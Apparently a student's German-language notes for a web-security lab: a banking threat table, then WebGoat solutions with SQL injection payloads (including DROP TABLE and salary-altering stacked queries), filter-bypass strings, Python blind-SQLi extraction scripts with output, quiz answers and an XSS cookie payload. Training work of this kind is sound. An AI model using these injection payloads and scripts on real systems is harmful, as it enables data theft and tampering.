278 lines
7.9 KiB
Markdown
278 lines
7.9 KiB
Markdown
|
|
# 2.1
|
|
## Tabelle
|
|
| Schritt | Sicheheitsziele | Assets | Parteien |
|
|
| ------------------------------- | --------------------------------------------- | ----------------------------------------------------------------- | ------------------------- |
|
|
| Formular-basierte Webseite | Verfügbarkeit | Webseite und Webserver | Bank und Kunde |
|
|
| Eingabe der Überweisungsdetails | Vertraulichkeit und Integrität | Überweisungsinformationen (Empfänger, IBAN, Betrag) | Kunde, Bank und Empfänger |
|
|
| Anforderung einer TAN | Vertraulichkeit und Integrität | TAN-Liste, Index und TAN-Verfahren | Kunde und Bank |
|
|
| Eingabe und Bestätigung der TAN | Vertraulichkeit, Integrität und Authentizität | Eingegebene TAN und Überweisungsdetails | Kunde, Bank und Empfänger |
|
|
| Anzeige der Quittung | Vertraulichkeit und Integrität | Quittungsinformationen (z.B. Überweisungsdetails, Datum, Uhrzeit) | Kunde, Bank und Empfänger |
|
|
|
|
# 2.2
|
|
|
|
## Intro
|
|
|
|
### 1
|
|
SELECT department FROM employees WHERE first_name='Bob'
|
|
|
|
- SELECT: Wählt Spalte aus
|
|
- FROM: Wählt Tabelle aus
|
|
- WHERE: Anweisung zum suchen
|
|
|
|
### 2
|
|
UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'
|
|
|
|
- UPDATE: Updated exestierende Daten
|
|
- SET: Wählt Spalte aus
|
|
- WHERE: Anweisung zum suchen
|
|
- AND: Und für die Abfragen der WHERE Anweisung
|
|
|
|
### 3
|
|
ALTER TABLE employees ADD phone varchar(20);
|
|
|
|
- ALTER: Verändert die Struktur einer Datenbank
|
|
- TABLE: Wählt Tabelle aus, die verändert werden soll
|
|
- ADD: Fügt eine Spalte hinzu
|
|
|
|
### 4
|
|
GRANT SELECT ON grant_rights TO unauthorized_user;
|
|
|
|
- GRANT: Gibt einem Benutzer Rechte
|
|
- SELECT: Wählt Spalte aus
|
|
- ON: Wählt Rechte aus
|
|
- TO: Wählt Benutzer aus
|
|
|
|
### 5
|
|
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1' = '1
|
|
|
|
- Wird zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
|
|
- '1' = '1' ist immer wahr
|
|
- '1 wird durch die query geschlossen
|
|
- Wird praktisch zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE
|
|
- Ist immer wahr
|
|
|
|
### 6
|
|
- Login_Count: 1
|
|
- User_Id: 1 OR 1=1
|
|
|
|
- Wird zu: SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1
|
|
- das OR true sorgt dafür, dass es true ist
|
|
|
|
### 7
|
|
- Employee Name: Smith' OR 1=1 --
|
|
- Authentication TAN: (egal)
|
|
|
|
- Smith' beendet ' '
|
|
- OR 1=1 ist true
|
|
- "--" ignoriert den rest der Zeile (Kommentar)
|
|
|
|
### 8
|
|
- Employee Name: Smith'; UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'--
|
|
- Authentication TAN: (egal)
|
|
|
|
- Smith' beendet ' '
|
|
- ; beendet aktuelle query
|
|
- 'UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'' verändert salary
|
|
- "--" ignoriert den Rest
|
|
|
|
### 9
|
|
Smith'; DROP TABLE access_log; --
|
|
|
|
- Smith' beendet ' '
|
|
- ; beendet aktuelle query
|
|
- DROP TABLE access_log; löscht die access_log tabelle
|
|
- "--" ignoriert den Rest
|
|
|
|
## Advanced
|
|
|
|
### 1
|
|
'; SELECT * FROM user_system_data;--
|
|
|
|
- wird zu SELECT * FROM user_data WHERE last_name = ''; SELECT * FROM user_system_data;--'
|
|
- '; beendet aktuelle query
|
|
- SELECT * FROM user_system_data; nimmt alles aus user_system_data;
|
|
- "--" ignoriert den Rest
|
|
|
|
### 2
|
|
|
|
- `tom' AND '1'='1` is vergeben
|
|
- Es gibt eine if-Abfrage, ob der Name vergeben ist
|
|
- Man kann diese mit AND beeinflussen
|
|
- `tom' AND substring(password,1,1)='t` kann buchstaben des Passworts herrausfinden
|
|
- "Username taken" bedeutet, dass der Buchstabe richig ist
|
|
- Durch testen: thisisasecretfortomonly
|
|
|
|
``` python
|
|
import json
|
|
import requests
|
|
|
|
def sql_injection_advance_5():
|
|
alphabet_index = 0
|
|
alphabet = 'abcdefghijklmnopqrstuvwxyz'
|
|
password_index = 0
|
|
password = ''
|
|
|
|
headers = {
|
|
'Cookie': 'JSESSIONID=8f8OmDA8QEB8JwmEJtPbWkvVtAM_2AerEHJoWYFT',
|
|
}
|
|
|
|
while True:
|
|
payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index])
|
|
|
|
data = {
|
|
'username_reg': payload,
|
|
'email_reg': 'a@a',
|
|
'password_reg': 'a',
|
|
'confirm_password_reg': 'a'
|
|
}
|
|
|
|
r = requests.put('http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data)
|
|
|
|
try:
|
|
response = json.loads(r.text)
|
|
except:
|
|
print("Wrong JSESSIONID, find it by looking at your requests once logged in.")
|
|
return
|
|
|
|
if "already exists please try to register with a different username" not in response['feedback']:
|
|
alphabet_index += 1
|
|
if alphabet_index > len(alphabet) - 1:
|
|
return
|
|
else:
|
|
password += alphabet[alphabet_index]
|
|
print(password)
|
|
alphabet_index = 0
|
|
password_index += 1
|
|
|
|
sql_injection_advance_5()
|
|
|
|
```
|
|
|
|
|
|
|
|
Output:
|
|
t
|
|
th
|
|
thi
|
|
this
|
|
thisi
|
|
thisis
|
|
thisisa
|
|
thisisas
|
|
thisisase
|
|
thisisasec
|
|
thisisasecr
|
|
thisisasecre
|
|
thisisasecret
|
|
thisisasecretf
|
|
thisisasecretfo
|
|
thisisasecretfor
|
|
thisisasecretfort
|
|
thisisasecretforto
|
|
thisisasecretfortom
|
|
thisisasecretfortomo
|
|
thisisasecretfortomon
|
|
thisisasecretfortomonl
|
|
thisisasecretfortomonly
|
|
|
|
### 3
|
|
1. What is the difference between a prepared statement and a statement?
|
|
- Solution 4: A statement has got values instead of a prepared statement
|
|
2. Which one of the following characters is a placeholder for variables?
|
|
- Solution 3: ?
|
|
3. How can prepared statements be faster than statements?
|
|
- Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
|
|
4. How can a prepared statement prevent SQL-Injection?
|
|
- Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
|
|
5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
|
|
- Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
|
|
|
|
## Mitigation
|
|
|
|
### 1
|
|
- getConnection
|
|
- PreparedStatement
|
|
- prepareStatement
|
|
- ?
|
|
- ?
|
|
- setString
|
|
- setString
|
|
|
|
![[2023-04-17_14-16.png]]
|
|
|
|
### 2
|
|
``` java
|
|
try {
|
|
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
|
|
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
|
|
ps.setString(1, "Admin");
|
|
ps.executeUpdate();
|
|
} catch (Exception e) {
|
|
System.out.println("Oops. Something went wrong!");
|
|
}
|
|
```
|
|
|
|
### 3
|
|
```
|
|
a';/**/select/**/*/**/from/**/user_system_data;--
|
|
```
|
|
|
|
### 4
|
|
```
|
|
a';/**/seselectlect/**/*/**/frfromom/**/user_system_data;--
|
|
```
|
|
|
|
### 5
|
|
```python
|
|
import json
|
|
import requests
|
|
|
|
def sql_injection_mitigation_10():
|
|
index = 0
|
|
|
|
headers = {
|
|
'Cookie': 'JSESSIONID=8f8OmDA8QEB8JwmEJtPbWkvVtAM_2AerEHJoWYFT'
|
|
}
|
|
|
|
while True:
|
|
payload = '(CASE WHEN (SELECT ip FROM servers WHERE hostname=\'webgoat-prd\') LIKE \'{}.%\' THEN id ELSE hostname END)'.format(index)
|
|
|
|
r = requests.get('http://127.0.0.1:8080/WebGoat/SqlInjectionMitigations/servers?column=' + payload, headers=headers)
|
|
|
|
try:
|
|
response = json.loads(r.text)
|
|
except:
|
|
print("Wrong JSESSIONID, find it by looking at your requests once logged in.")
|
|
return
|
|
|
|
if response[0]['id'] == '1':
|
|
print('webgoat-prd IP: {}.130.219.202'.format(index))
|
|
return
|
|
else:
|
|
index += 1
|
|
if index > 255:
|
|
print("No IP found")
|
|
return
|
|
|
|
sql_injection_mitigation_10()
|
|
```
|
|
Output:
|
|
```
|
|
webgoat-prd IP: 104.130.219.202
|
|
```
|
|
|
|
## Aufgaben
|
|
### a
|
|
|
|
|
|
# 2.3
|
|
|
|
## Cross Site Scripting
|
|
|
|
### 1
|
|
alert(document.cookie)
|
|
- JSESSIONID=WAoLCuHqYVKBPATEYnT23tGJaJPRHR9xRbDfnd2C
|
|
|
|
### 2
|